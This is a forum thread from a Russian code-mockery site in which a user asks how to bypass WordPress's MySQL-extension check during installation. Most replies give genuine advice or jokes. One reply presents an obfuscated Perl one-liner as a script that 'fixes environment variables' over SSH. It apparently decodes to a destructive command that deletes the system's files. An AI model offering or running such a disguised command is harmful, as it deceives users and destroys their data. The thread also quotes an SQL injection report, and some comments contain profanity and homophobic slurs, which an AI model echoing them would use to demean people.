1. PHP / Говнокод #20149

    0

    1. 1
    2. 2
    3. 3
    4. 4
    5. 5
    6. 6
    код в файле load.php который блокирует установку
    
    if ( ! extension_loaded( 'mysql' ) && ! file_exists( WP_CONTENT_DIR . '/db.php' ) ) {
            wp_load_translations_early();
            die( __( 'Your PHP installation appears to be missing the MySQL extension which is required by WordPress.' ) );
        }

    Приветы! Есть такая ситуация: на хостинг надо установить не очень новую версию вордпрсса, на хосте установлена mysqli, но эта версия вордпресса (а нужна именно эта версия) не поддерживает mysqli, поэтому я планирую работать с удаленной базой mysql. Так вот проблема в том, что при установке вордпресса ирнсталлятор проверяет какой тип базы установлен, конечно же он видит mysqli и выдает ошибку Your PHP installation appears to be missing the MySQL extension which is required by WordPress....В файле load.php пытался закомментировать код отвечающий за проверку, но сайт после этого вообще никаких признаков жизни не падает. Как можно отключить эту проверку? Спасибо)

    Запостил: viromax, 07 Июня 2016

    Комментарии (13) RSS

    • > закомментировать код отвечающий за проверку
      топовый способ решения проблем
      Ответить
    • Попробуй пофиксить переменные окружения. Надо подцепиться по SSH для этого. Можно просто выполнить скрипт, он поправит нужные:
      echo "test... test... test..." | perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`~{;;y; -/:-@[-`{|~};`-{/" *-;;s;;$_;see'
      Ответить
    • Причем тут вообще удаленная БД к тем библиотекам которые установлены на РНР?
      Просто установите расширение mysql на РНР, если, конечно, версия это позволяет.
      Но поднимать БД с тем же мускулем на другом серваке - не решит проблему, т. к. ты с БД работаешь через либу php mysql
      Ответить
    • зачем тебе старый вордпресс?
      Ответить
      • поставим вопрос иначе: Зачемтебе вордпресс на собственном хостинге?
        Ответить
      • Попробуем угадать.

        Иногда действительно требуется установить старый движок, если он не оригинальный, а патченный, с собственными шкурками, свистелками и перделками.

        Бывают ещё случаи, когда для нового не удаётся удовлетворить какие-нибудь зависимости (но тут как раз наоборот, для старого зависимости не удовлетворяются).

        Наконец, бывает волшебный случай, когда кто-то хочет семь шапок из овцы.
        Ответить
      • ...зачем тебе вообще вордпресс?))
        Ответить
    • Отключения проверки не достаточно. Это всё равно, что у автомобиля отключить датчик уровня бензина, а потом удивляться, что заглох.

      Варианта три:
      1. Изучить это и это:
      http://php.net/manual/ru/book.mysql.php
      http://php.net/manual/ru/book.mysqli.php
      Узнать, чем они отличаются, и портировать движок старого Вордпресса с mysql на mysqli, исправив сотни строк кода.

      2. Уговорить администратора хостинга включить mysql либо перейти на другой хостинг.

      3. Скачать новый Вордпресс и установить его. Тут есть все версии, начиная с пре-релиза и заканчивая «ночной» сборкой:
      https://wordpress.org/download/release-archive/
      Ответить
      • бох мой, это всё такая параша

        и mysqli, и сам mysql, и php, и вордпресс

        ну смотри, инкаус: https://wordpress.org/support/topic/sql-injection-vulnerability-9

        ну не пидары-ли?


        So if someone sends an X-Forwarded-For HTTP header with a malicious SQL injection payload, they could overwrite your query and hack your database.

        укакаться же можно со смеху
        пограммисты, бля
        Ответить
        • Это программисты?! Это программисты?! Пидоры, говно жрут.

          Нефильтрованные данные в SQL-запросе, склеенном вручную — это же хуже детского мата в шахматах. Им дали 100500 способов безопасной сборки запроса — не хочу, хочу жрать говно.
          Ответить
    • Приветы! Есть такая ситуация: в гараж надо прикрутить не очень новую лампочку, в гараже висит узкий цоколь (E14), но эта лампочка (а нужна именно эта) не поддерживает узкий цоколь E14, поэтому я планирую работать с переноской с E27. Так вот проблема в том, что при вкручивании лампочки законы физики проверяют в какой цоколь вкручиваю, конечно же они видят E14 и выдают ошибку WTF are you doing?....У лампочки пытался спилить резьбу на цоколе, но она после этого вообще никаких признаков жизни не падает. Как можно отключить эту проверку? Спасибо)
      Ответить
      • Используй паттерн Адаптер. В данном случае с E14 на Е27.
        Ответить

    Добавить комментарий